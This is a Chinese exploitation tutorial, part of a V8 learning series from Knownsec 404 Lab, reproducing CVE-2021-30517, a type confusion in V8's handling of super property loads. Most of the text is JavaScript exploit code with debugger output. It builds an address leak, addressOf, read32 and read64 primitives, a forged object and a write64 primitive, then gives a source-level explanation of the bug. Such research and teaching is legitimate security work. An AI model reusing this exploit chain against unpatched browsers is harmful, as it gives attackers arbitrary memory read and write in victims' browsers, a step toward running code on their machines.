作者:Hcamael@知道创宇404实验室
相关阅读:
从 0 开始学 V8 漏洞利用之环境搭建(一)
从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)
从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)
从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)
从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)
从 0 开始学 V8 漏洞利用之 CVE-2021-38001(六)
复现CVE-2021-30517
第五个研究的是CVE-2021-30517
,其chrome的bug编号为:1203122(https://bugs.chromium.org/p/chromium/issues/detail?id=1203122)
可以很容易找到其相关信息:
受影响的Chrome最高版本为:90.0.4430.93
受影响的V8最高版本为:9.0.257.23
相关PoC:
function main() {
class C {
m() {
super.prototype
}
}
function f() {}
C.prototype.__proto__ = f
let c = new C()
c.x0 = 1
c.x1 = 1
c.x2 = 1
c.x3 = 1
c.x4 = 0x42424242 / 2
f.prototype
c.m()
}
for (let i = 0; i < 0x100; ++i) {
main()
}
在Chrome的bug信息页面除了poc外,同时也公布了exp,有需要的可自行下载研究。
搭建环境
$ ./build.sh 9.0.257.23
套模版
obj = {a:1};
obj_array = [obj];
%DebugPrint(obj_array);
function main() {
class C {
m() {
return super.length;
}
}
f = new String("aaaa");
C.prototype.__proto__ = f
let c = new C()
c.x0 = obj_array;
f.length;
return c.m();
}
for (let i = 0; i < 0x100; ++i) {
r = main()
if (r != 4) {
console.log(r);
break;
}
}
DebugPrint: 0x322708088a01: [JSArray]
- map: 0x322708243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x32270820b899 <JSArray[0]>
- elements: 0x3227080889f5 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x32270804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3227080446d1: [String] in ReadOnlySpace: #length: 0x32270818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3227080889f5 <FixedArray[1]> {
0: 0x3227080889c9 <Object map = 0x322708247141>
}
134777333
hex(134777333) = 0x80889f5
length
等于obj_array
变量的elements
地址。理解了上文对类型混淆的讲解,应该能看懂上述的PoC,该PoC通过String和Array类型混淆,从而泄漏出obj_array
变量的elements
。根据该逻辑我们来编写EXP。-
泄漏变量地址
obj = {a:1};
obj_array = [obj];
class C {
constructor() {
this.x0 = obj_array;
}
m() {
return super.length;
}
}
let receive = new C();
function trigger1() {
lookup_start_object = new String("aaaa");
C.prototype.__proto__ = lookup_start_object;
lookup_start_object.length;
return receive.m()
}
for (let i = 0; i < 140; ++i) {
trigger1();
}
element = trigger1();
-
编写addressOf函数
addressOf
函数:function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
receive2.length = (element-0x1)/2;
low3 = trigger2();
receive2.length = (element-0x1+0x2)/2;
hi1 = trigger2();
res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
return res-1;
}
class B extends Array {
m() {
return super.length;
}
}
let receive2 = new B();
function trigger2() {
lookup_start_object = new String("aaaa");
B.prototype.__proto__ = lookup_start_object;
lookup_start_object.length;
return receive2.m()
}
for (let i = 0; i < 140; ++i) {
trigger2();
}
addressOf
函数与之前的文章中编写的,稍显复杂了一些,这里做一些解释。receive2
的length
属性属于SMI类型,储存在内存中的值为偶数,其值除以2,就是真正的SMI的值。String
对象读取length
的路径为:String->value(String+0xB)->length(*value+0x7)
receive2
对象通过漏洞被认为了是String
对象,所以receive2+0xB
的值为receive2.length
属性的值。receive2.length
来设置value
的值,但是只能设置为偶数,而正确的值应该为奇数,所以这里我们需要读两次,然后通过位运算,还原出我们实际需要的值。-
编写read32函数
fake_obj
的情况下编写任意读函数,为了后续利用更方便,所以该漏洞的EXP我们加入了read32
函数:function read32(addr)
{
receive2.length = (addr-0x8)/2;
low3 = trigger2();
receive2.length = (addr-0x8+0x2)/2;
hi1 = trigger2();
res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
return res;
}
addressOf
一样。-
编写read64函数
fakeObject
函数,所以接下来我们需要构造fake_obj
来编写read64
函数。fake_obj
的代码如下所示:var fake_array = [1.1, 2.2, 3.3, 4.4, 5.5];
var fake_array_addr = addressOf(fake_array);
fake_array_map = read32(fake_array_addr);
fake_array_map_map = read32(fake_array_map-1);
fake_array_ele = read32(fake_array_addr+8) + 8;
fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);
fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);
fake_array[3] = 0;
fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);
class A extends Array {
constructor() {
super();
this.x1 = 1;
this.x2 = 2;
this.x3 = 3;
this.x4 = (fake_array_ele-1+0x10+2) / 2;
}
m() {
return super.prototype;
}
}
let receive3 = new A();
function trigger3() {
function lookup_start_object(){};
A.prototype.__proto__ = lookup_start_object;
lookup_start_object.prototype;
return receive3.m()
}
for (let i = 0; i < 140; ++i) {
trigger3();
}
fake_object = trigger3();
lookup_start_object
获取prototype
对象的路径为:lookup_start_object->function prototype(lookup_start_object+0x1B)
,如果该地址的map
为表示类型的对象,如下所以:0x257d08242281: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
pwndbg> x/2gx 0x257d08242281-1
0x257d08242280: 0x1408080808042119 0x084017ff19c20423
pwndbg> x/2gx 0x257d00000000+0xC0
0x257d000000c0: 0x0000257d08042119 0x0000257d08042509
pwndbg> job 0x257d08042119
0x257d08042119: [Map] in ReadOnlySpace
- type: MAP_TYPE
- instance size: 40
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x257d080423b5 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x257d080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x257d08042235 <null>
- constructor: 0x257d08042235 <null>
- dependent code: 0x257d080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
lookup_start_object+0x1B
执行的地址的map
值为0x08242281
,则获取其prototype(+0xF)
fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);
就是在伪造MAP类型的map。0xf
:fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);
,指向了fake_array
的开始:fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);
fake_obj
之后我们就可以编写read64
函数了:function read64(addr)
{
fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
return fake_object[0];
}
-
编写write64函数
write64
函数:function write64(addr, data)
{
fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
fake_object[0] = itof(data);
}
-
其他
漏洞简述
fake_obj
的逻辑中,v8返回函数的prototype
的逻辑如下:Node* CodeStubAssembler::LoadJSFunctionPrototype(Node* function,
Label* if_bailout) {
CSA_ASSERT(this, TaggedIsNotSmi(function));
CSA_ASSERT(this, IsJSFunction(function));
CSA_ASSERT(this, IsClearWord32(LoadMapBitField(LoadMap(function)),
1 << Map::kHasNonInstancePrototype));
Node* proto_or_map =
LoadObjectField(function, JSFunction::kPrototypeOrInitialMapOffset);
GotoIf(IsTheHole(proto_or_map), if_bailout);
VARIABLE(var_result, MachineRepresentation::kTagged, proto_or_map);
Label done(this, &var_result);
GotoIfNot(IsMap(proto_or_map), &done); -> 判断是否为MAP对象
var_result.Bind(LoadMapPrototype(proto_or_map)); -> 如果是,则返回其prototype,偏移为0xf
Goto(&done);
BIND(&done);
return var_result.value();
}
receiver
和lookup_start_object
搞混了。class A extends Array {
constructor() {
super();
this.x1 = 1;
this.x2 = 2;
this.x3 = 3;
this.x4 = (fake_array_ele-1+0x10+2) / 2;
}
m() {
return super.prototype;
}
}
let receive3 = new A();
receive3
就是receiver
,而lookup_start_object
为A.prototype.__proto__
。Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
Handle<Object> receiver = lookup->GetReceiver();
ReadOnlyRoots roots(isolate());
// `in` cannot be called on strings, and will always return true for string
// wrapper length and function prototypes. The latter two cases are given
// LoadHandler::LoadNativeDataProperty below.
if (!IsAnyHas() && !lookup->IsElement()) {
if (receiver->IsString() && *lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
return BUILTIN_CODE(isolate(), LoadIC_StringLength);
}
if (receiver->IsStringWrapper() &&
*lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
}
// Use specialized code for getting prototype of functions.
if (receiver->IsJSFunction() &&
*lookup->name() == roots.prototype_string() &&
!JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
}
}
Handle<Map> map = lookup_start_object_map();
Handle<JSObject> holder;
bool holder_is_lookup_start_object;
if (lookup->state() != LookupIterator::JSPROXY) {
holder = lookup->GetHolder<JSObject>();
holder_is_lookup_start_object =
lookup->lookup_start_object().is_identical_to(holder);
}
prototype
属性或者字符串对象获取其length
属性时(也就是super.prototype(super.length)
),使用的是receiver
而不是A.prototype.__proto__
。参考
往 期 热 门
(点击图片跳转)
从 0 开始学 V8 漏洞利用之 CVE-2021-38001(六)
从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)
从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)
原文始发于微信公众号(Seebug漏洞平台):从 0 开始学 V8 漏洞利用之 CVE-2021-30517(七)